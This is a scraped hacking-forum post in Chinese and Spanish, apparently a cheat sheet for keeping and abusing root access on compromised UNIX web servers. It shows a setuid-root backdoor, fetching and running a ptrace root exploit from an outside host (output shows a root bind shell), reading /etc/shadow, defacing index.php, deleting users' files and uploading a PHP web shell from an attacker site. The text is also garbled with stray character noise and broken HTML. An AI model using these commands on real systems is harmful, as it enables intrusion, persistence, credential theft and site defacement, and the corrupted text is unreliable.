总结UNIX成为root以后保持权限的方法

韩冰

<><FONT color=#ff0000>by:cnbird</FONT></P>
<>1.</P>
<>[cnbird@localhost tmp]#id</P>
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
; v! a2 G/ Z9 \) H( ^2 _7 ?4 C  s<>[cnbird@localhost tmp]#cp `which id ` .</P>
<>[cnbird@localhost tmp]#chown root ./id</P>
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
* C. D7 {$ W& E6 ~$ N7 v- K( a9 m) e<>[cnbird@localhost tmp]#ls -l ./id</P>
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
<>[cnbird@localhost tmp]#exit</P>
<>[cnbird@localhost tmp]$id</P>
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
. L2 i, J; a. p( F4 d; K& V2 p<>[cnbird@localhost tmp]$./id </P>
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
/ S4 R' |3 d3 O) }" w" C* [<>2.利用ptrace成为root的方法</P>
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
$ M( P  l' J7 t7 k/ z-&gt; Parent's PID is 2313. Child's PID is 2314.
-&gt; Attaching to 2315...
-&gt; Got the thread!!
-&gt; Waiting for the next signal...
-&gt; Injecting shellcode at 0x4000e85d
4 f7 [* q$ ~& W. y2 P-&gt; Bind root shell on port 24876... =p
-&gt; Detached from modprobe thread.
-&gt; Committing suicide.....</P>
<>[bash]# id
: ~' e5 J$ W0 l; A4 D! Z; @uid=0(root) gid=0(root) groups=0(root)</P>
<>ara ver los dominios que hay en el server:
9 R# e+ \1 a( ^: u4 h; P. A* x7 c---------------------------------------------------------
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
* {3 C2 b4 g( S4 d" kcat /etc/localdomains &lt;&lt; Unicamente los dominios locales
* M- f* f" t& Scat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
7 D6 `1 y6 v6 z- r& L, u" Tcat /etc/userdomains &lt;&lt; Este es el mas comun
7 G3 b+ J1 q  n  u+ t---------------------------------------------------------</P>
<>ara ver la version de kernel:
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) t0 X$ S2 d1 y8 @& Duname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
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& T9 Y" h0 {4 `2 z9 L/ p<>ara modificar un index ya existente:
+ |0 q+ i5 u+ ]0 X" n8 O---------------------------------------------------------
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
! N, d/ _( T) P/ D---------------------------------------------------------</P>
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
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: s" b5 e% ?! a+ r$ lcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
9 m- c( \/ w9 b$ R# d) {cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
: @) d! D( o: CHasta aqui termina el proceso para un exploit.
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5 G% H5 t( o+ {' [$ R+ f; z4 _2 i<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
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cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
# l" @+ I1 }! u6 x' d& ?- |4 E2 v+ U---------------------------------------------------------</P>
+ `# I3 t: P: V* S& d! c<>Borrar un Ficher
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+ G9 N- r  _( L, _8 z- b( Z/ ~; |cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
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% U/ p7 g2 f) R& |4 |<>Subir un ficher
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cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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